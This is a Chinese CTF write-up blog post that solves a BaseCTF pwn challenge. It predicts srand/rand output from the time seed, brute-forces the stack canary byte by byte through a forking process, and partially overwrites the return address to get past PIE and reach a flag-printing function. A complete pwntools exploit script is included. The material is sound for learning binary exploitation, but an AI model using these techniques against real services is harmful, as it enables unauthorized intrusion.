伪随机+爆破canary+爆破PIE

D0wnBe@t Lv4

ida速览

前言

题目来自:basectf

题解参考:官方wp

checksec+ida速览

1
2
3
4
5
6
7
8
9
10
checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
// 保护全开,注意PIE

  • 第一个红框,伪随机数的绕过,只要libc一致,时间一致,算法一致,所产生的随机数也是一样的。

  • 第二个红框fork创建子进程,虽然创建子进程是从头开始,但是canary是不变的,这里可以爆破canary

  • 第三个红框是核心函数,可以用来爆破canary和栈溢出到shell函数。

思路

  • 第一步肯定是绕过伪随机数,这里用到python中的ctypes库,先用本地的libc演示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from ctypes import *

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") # 本地libc
seed = libc.time(0) # 时间种子,0代表本地时间
libc.srand(seed)

for i in range(10):
num = libc.rand() % 50
print(num)
'''
srand 搭配 rand
srandom 搭配 random
前者安全性差
'''
  • 第二步就是爆破canary,canary最后一字节肯定是\x00,所以还需要爆破七位,因此因套两层循环,注意每一次都需要模拟随机数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for j in range(7):
for i in range(0xff):
num = elf1.rand() % 50
p.sendlineafter(b'BaseCTF',str(num))

payload = b'a' * 0x68 + canary + p8(i) # 单字节爆破
p.send(payload)

p.recvuntil('welcome\n')
rev = p.readline()
if b"stack smashing detected" not in rev: # 一位出错立马stack_chk_fail
print(f'第{j+1}位是{hex(i)}')
canary += p8(i)
break

print(f"canary is {hex(u64(canary))}")
1
2
3
4
5
6
7
8
1位是0xeb
2位是0x9
3位是0x27
4位是0xbe
5位是0xab
6位是0x48
7位是0xde
canary is 0xde48abbe2709eb00
  • canary到手了,只需要将返回地址后两字节改为shell的地址,但是要注意并不是返回到push rbp的位置,因为那样程序是跑不通的,无法获得flag,所以我们直接往下面这个地址跳就行了:
1
2
3
4
5
6
7
8
9
10
.text:00000000000012A9 ; __unwind {
.text:00000000000012A9 endbr64
.text:00000000000012AD push rbp
.text:00000000000012AE mov rbp, rsp
.text:00000000000012B1 往这里写即可 lea rdi, command ; "/bin/cat flag"
.text:00000000000012B8 call _system
.text:00000000000012BD nop
.text:00000000000012BE pop rbp
.text:00000000000012BF retn
.text:00000000000012BF ; } // starts at 12A9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 爆破pie
shell = 0x02B1

for i in range(0x10):
num = elf1.rand() % 50
p.sendline(str(num))
payload = b'a' * 0x68 + canary + b'a'*8 + p16(shell) # 注意是p16
# 只需要改末尾两字节就可以了
p.send(payload)

rev = p.readline()
print(rev)

if b'welcome' in rev:
p.readline()
shell += 0x1000
continue
else:
break

完整EXP

  • 注意:本地复现要创建一个flag文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import time
from ctypes import *

context(arch='amd64',)
p = process("./pwn")
#p = remote("challenge.basectf.fun",32079)
elf = ELF("./pwn")
elf1 = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#elf1 = cdll.LoadLibrary("/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")

seed = elf1.time(0)
elf1.srand(seed)

# 爆破canary
canary = b'\x00'

for j in range(7):
for i in range(0xff):
num = elf1.rand() % 50
p.sendlineafter(b'BaseCTF',str(num))

payload = b'a' * 0x68 + canary + p8(i)
p.send(payload)

p.recvuntil('welcome\n')
rev = p.readline()
#rev = p.recv()
if b"stack smashing detected" not in rev:
print(f'第{j+1}位是{hex(i)}')
canary += p8(i)
break

print(f"canary is {hex(u64(canary))}")

# 爆破pie
shell = 0x02B1

for i in range(0x10):
num = elf1.rand() % 50
p.sendline(str(num))
payload = b'a' * 0x68 + canary + b'a'*8 + p16(shell)
p.send(payload)

rev = p.readline()
print(rev)

if b'welcome' in rev:
p.readline()
shell += 0x1000
continue
else:
break

p.interactive()

  • 标题: 伪随机+爆破canary+爆破PIE
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-21 14:50:05
  • 更新于 : 2024-09-23 15:58:32
  • 链接: http://downbeat.top/2024/09/21/伪随机-爆破canary-爆破PIE/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
伪随机+爆破canary+爆破PIE